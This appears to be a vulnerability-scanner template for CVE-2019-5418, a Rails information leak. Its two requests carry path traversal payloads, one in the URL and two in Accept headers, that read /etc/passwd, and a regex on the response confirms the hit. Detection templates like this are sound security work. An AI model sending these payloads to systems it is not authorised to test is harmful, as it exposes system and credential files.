id: CVE-2019-5418 info: name: Rails Information Leak risk: Medium params: - root: '{{.BaseURL}}' variables: - endpoint: | test/pathtraversal/master/ requests: - method: GET url: >- {{.root}}/{{.endpoint}}..%252f..%252f..%252f..%252f../etc/passwd headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 - Accept: '../../../../../../../../etc/passwd{{ "{{" }}' detections: - >- StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") - method: GET redirect: false url: >- {{.root}} headers: - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 - Accept: '../../../../../../../../../../et*/pa??w*{{ "{{" }}' detections: - >- StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") references: - https://www.cvebase.com/cve/2019/5418